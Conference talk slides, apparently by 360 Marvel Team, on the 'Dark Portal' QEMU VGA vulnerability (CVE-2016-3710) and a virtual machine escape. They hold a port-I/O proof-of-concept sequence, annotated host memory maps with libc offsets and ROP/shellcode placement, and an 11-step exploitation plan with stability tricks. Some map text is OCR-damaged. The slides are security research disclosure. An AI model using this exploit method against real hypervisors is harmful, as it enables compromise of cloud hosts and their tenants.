# QEMU+KVM & XEN Pwn: virtual machine escape from "Dark Portal"

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360 Marvel Team

#### About 360 Marvel Team


- 360 Marvel Team focus on cloud and virtualization security.
- 360 Marvel Team has found 35 vulnerabilities in cloud and virtualization product in last year.
- 360 Marvel Team is able to finish virtual machine escape attacks in VMWARE workstation virtual machine, docker container, XEN virtual machine, QEMU+KVM virtual machine by utilizing vulnerabilities.



# Agenda




- Dark Portal Vulnerability
- Dark Portal Exploitation
- QEMU Vulnerability Limitation and Solutions






## **Cloud Environment**





#### **Device Simulator Data Flaw**



#### Qemu Software in Public Cloud

#### Number of QEMU Vulnerabilities





#### Virtual Machine Escape Attack Challenges

#1 In the past few years, there has never been a cloud escape security incident.

#2 The exploit codes in virtual machine can not operate the memory of host machine processes

#3 Modern operating system security mechanism is mature, such as dep, aslr, these mechanisms can prevent the general vulnerability attacks

#4 Since the host is generally physically isolated from the Internet, even if the command is executed on the host by the vulnerability, the hacker can not transfer the file, so the damages from the virtual machine's escape attack are limited.


However, the vulnerability which I found in May, 2016 can give an sound answer to all of questions above.



# **QEMU Vga Module**

The VGA is a complex piece of hardware.
 Apart from real machines, QEMU can provide VGA emulation.

VGA register, Video Memory Layout,
 Graphics Controller are important units.



# Cause of the Vulnerability

 vga allows banked accesses to video memory by using the window at 0xa00000 and it supports a different access mode with different address calculations.

The VBE bochs extentions support banked access too, by taking
advantage of the VBE\_DISPI\_INDEX\_BANK register. The code tries to
take the different address calculations into account and applies different
limits to VBE\_DISPI\_INDEX\_BANK depending on the current access
mode.

## Results by the Vulnerability

```
CVE-2016-3710
qemu-2.5.0/hw/display/vga.c
uint32 t vga mem readb(VGACommonState *s, hwaddr addr)
   // hacker can set s->bank offset
    addr += s->bank offset;
   // hacker can get s->latch in virtual machine
   s->latch = ((uint32 t *)s->vram ptr)[addr];
// hacker can set val
void vga mem writeb(VGACommonState *s, hwaddr addr, uint32 t val)
   //hacker can set s->bank offset
   addr += s->bank offset;
    //so , s->vram ptr[addr] can be set by hacker in
    s->vram ptr[addr] = val;
```

#### #1 read bytes

```
poc:

outb(0x6,0x3ce)

outb(0x9,0x3cf)

outb(0x2,0x3c4)

outb(0x0,0x3c5)

outb(0x6,0x3ce)

outb(0x5,0x3cf)

outw(0x5,0x1ce)

outw(0xff,0x1cf)

outb(0x04,0x3c4)

outb(0x0,0x3c5)

outb(0x05,0x3ce)

outb(0x05,0x3ce)

outb(0x0,0x3cf)
```

#2 write bytes

#### Self - Localization

```
process memory maps:
7f38771fe000-7f38771ff000 rw-p 0000d000 fd:00 28740
                                                                         /lib64/libnss files-2.12.so
7f38771ff000-7f3877200000 ---p 00000000 00:00 0
7f3877200000-7f3877c00000 rw-p 00000000 00:00 0
7f3877c00000-7f3877c40000 rw-p 00000000 00:00 0
7f3877c40000-7f3877c41000 ---p 00000000 00:00 0
7f3877e00000-7f38f7e00000 rw-p 00000000 00:00 0
7f38f7e00000-7f38f7e01000 ---p 000000nn nn·nn n
7f38f8000000-7f38fbeca000 rw-p 000000
                                           Operable memory range
7f38fbeca000-7f38fc000000 ---p 000000
7f38fc200000-7f38fc210000 rw-p 000000
7f38fc210000-7f38fc211000 ---p 00000000 00:00 0
7f38fc400000-7f38fd400000 rw-p 00000000 00:00 0
                                                                         vram ptr
7f38fd400000-7f38fd401000 ---p 00000000 00:00 0
7f38fd600000-7f38fd620000 rw-p 00000000 00:00 0
7f38fd620000-7f38fd621000 ---p 00000000 00:00 0
7f38fd6ff000-7f38fd800000 rw-p 00000000 00:00 0
7f38fd800000-7f38fd840000 rw-p 00000000 00:00 0
7f38fd840000-7f38fd841000 ---p 00000000 00:00 0
7f38fd8b5000-7f38fd8d6000 rw-p 00000000 00:00 0
7f38fda03000-7f38fda06000 rw-s 00000000 00:09 4542
                                                                         kvm-vcpu
7f38fda06000-7f38fda07000 rw-s 00000000 00:04 445930
                                                                         /dev/zero (deleted)
7f38fda07000-7f38fda08000 ---p 00000000 00:00 0
7f38fda08000-7f38fecf2000 rw-p 00000000 00:00 0
                                                              magical pointer in here
7f38fecf2000-7f38fecf3000 ---p 00000000 00:00 0
7f38fecf3000-7f38ff7f4000 rw-p 00000000 00:00 0
7f38ff7f4000-7f38ff7f5000 ---p 00000000 00:00 0
                                                                         pointer = libc addr+0x38e5a0
7f38ff7f5000-7f39001f5000 rw-p 00000000 00:00 0
7f39001f5000-7f390037f000 r-xp 00000000 fd:00 65758
                                                                         /lib64/libc-2.12.so
7f390037f000-7f390057f000 ---p 0018a000 fd:00 65758
                                                                         /lib64/libc-2.12.so
```



## **Control Rip**

```
process memory maps:
7f38771fe000-7f38771ff000 rw-p 0000d000 fd:00 28740
                                                                     /lib64/libnss files-2.12.so
7f38771ff000-7f3877200000 ---p 00000000 00:00 0
7f3877200000-7f3877c00000 rw-p 00000000 00:00 0
7f3877c00000-7f3877c40000 rw-p 00000000 00:00 0
7f3877c40000-7f3877c41000 ---p 00000000 00:00 0
7f3877e00000-7f38f7e00000 rw-p 00000000 00:00 0
7f38f7e00000-7f38f7e01000 ---p 00000000 00:00 0
7f38fbeca000-7f38fc000000 ---p 00
                                      Operable memory range
7f38fc200000-7f38fc210000 rw-p 00
7f38fc400000-7f38fd400000 rw-p 00000000 00:00
                                                                      vram ptr
7f38fd400000-7f38fd401000 ---p 00000000 00:00 0
7f38fd600000-7f38fd620000 rw-p 00000000 00:00 0
7f38fd620000-7f38fd621000 ---p 00000000 00:00 0
7f38fd6ff000-7f38fd800000 rw-p 00000000 00:00 0
7f38fd800000-7f38fd840000 rw-p 00000000 00:00 0
7f38fd840
7f38fd8b5
                         address = libc_address-(0xa01000+0x1048)
7f38fda03
7f38fda06
7f38fda07uuu-/I38Idau8uuu -
                                                                     coroutine trampoline() pointer
7f38fda08000-7f38fecf2000 rw-p 00000000 00:00 0
7f38fecf2000-7f38fecf3000 ---p 00000000 00:00 0
7f38fecf3000-7f38ff7f4000 rw-p 00000000 00:00 0
7f38ff7f4000-7f38ff7f5000 ---p 00000000 00:00 0
7f38ff7f5000-7f39001f5000 rw-p 00000000 00:00 0
                                                                     pointer = libc addr+0x38e5a0
7f39001f5000-7f390037f000 r-xp 00000000 fd:00 65758
                                                                      /lib64/libc-2.12.so
7f390037f000-7f390057f000 ---p 0018a000 fd:00 65758
                                                                      /lib64/libc-2.12.so
```

## Find Rop Targets

```
process memory maps:
7f38771fe000-7f38771ff000 rw-p 0000d000 fd:00 28740
                                                                        /lib64/libnss files-2.12.so
7f38771ff000-7f3877200000 ---p 00000000 00:00 0
7f3877200000-7f3877c00000 rw-p 00000000 00:00 0
7f3877c00000-7f3877c40000 rw-p 00000000 00:00 0
7f3877c40000-7f3877c41000 ---p 00000000 00:00 0
7f3877e00000-7f38f7e00000 rw-p 00000000 00:00 0
7f38f7e00000-7f38f7e01000 ---p 00000000 00:00 0
                                        0:00
     Operable memory range
                                                  Shell-Code can be placed here
                                        0:00
                21CZIIUUU ---p UUUUUUUU UU:00 0
 f38fc400000-7f38fd400000 rw-p 00000000 00:00 0
                                                                        vram ptr
 f38fd600000-7f38fd620000 rw-p 00000000 00:00 0
 f38fd620000-7f38fd621000 ---p 00000000 00:00 0
 f38fd6ff000-7f38fd800000 rw-p 00000000 00:00 0
 f38fd800000-7f38fd840000 rw-p 00000000 00:00 0
f38fd840000-7f38fd841000 ---p 00000000 00:00 0
 f38fd8b5000-7f38fd8d6000 rw-p 00000000 00:00 0
 f38fda03000-7f38fda06000 rw-s 00000000 00:09 4542
                                                                        kvm-vcpu
 f38fda06000-7f38fda07000 rw-s 00000000 00:04 44593
                                                                        /dev/zero (deleted)
 f38fda07000-7f38fda08000 ---p 00000000 00:00 0
f38fda08000-7f38fecf2000 rw-p 00000000 00:00 0
f38fecf2000-7f38fecf3000 ---p 00000000 0
f38fecf3000-7f38ff7f4000 rw-p 00000000 0
                                                Head tag: 0x7f 0x45 0x4c 0x46.
 f38ff7f4000-7f38ff7f5000 ---p 00000000 0
f38ff7f5000-7f39001f5000 rw-p 00000000 00:00 0
                                                                        pointer = libc addr+0x38e5a0
7f39001f5000-7f390037f000 r-xp 00000000 fd:00 65758
                                                                        /lib64/libc-2.12.so
                                                                        /lib64/libc-2.12.so
7f390037f000-7f390057f000 ---p 0018a000 fd:00 65758
```

#### More Stable

**Question**: If we write the shell-code to the driver module, loading it into the kernel, and executing the shell-code, the VGA register write operation will be interrupted by other vga-out operations, which will lead to exploitation failure?

**Answer**: Putting the exploit codes into the linux kernel's vga driver file (linux/drivers/video/console/vgacon.c), then compile this file in the kernel. After the system has started, the exploit code will be the first to run other than the rest vga-related drivers.

**Question**: How to ensure that the virtual machine won't crash after running the exploit code?

**Answer**: Factors that can cause a virtual machine crashing include of vga registers, function stacks, and cpu registers. We need to save the vga registers, function stacks, cpu registers at the beginning of the exploit codes, and restores these values at the end of the exploit codes.

**Question**: How to ensure that the exploit code can be used in the real public cloud environment?

**Answer**: Due to the reason that the exploit codes are heavily dependent on the QEMU and libc versions, you need to include codes that can be adapted to the environment.

#### Complete process

- #1. Write the exploit code to the driver file, compile the kernel, then execute the reboot command. During the virtual machine startup, exploit code will be executed.
- #2. Exploit codes will save the information of vga register.
- #3. Exploit codes will search memory, and get key memory or function address.
- #4. Exploit codes will save the stack memory information .
- #5. Exploit codes cover part of the stack memory, then control rip.rop codes will be executed.
- #6. Rop codes modify the attributes of shell-code memory. After that, shell-code will be executed.
- #7. Shellcode saves cpu register.
- #8. Shellcode executes payload code.
- #9. Shellcode restores cpu register.
- #10.shellcode restore the stack memory and vga register.
- #11. The virtual machine operating system continues to boot.



#### Similar to Nuclear Missiles, the Number of Small but Serious Harm

- The percentage of default vulnerabilities in the QEMU vulnerability is less than 20%.
- The percentage of high-risk vulnerabilities in the QEMU vulnerability is also less than 20%.



#### Rely on Privilege Escalation Vulnerability, but There are More Such Vulnerabilities

- The QEMU softwares deployed in most cloud environments which are under control by low privileges.
- But the kernel vulnerability will appear every few months, it doesn't seem to completely solve the major problem.

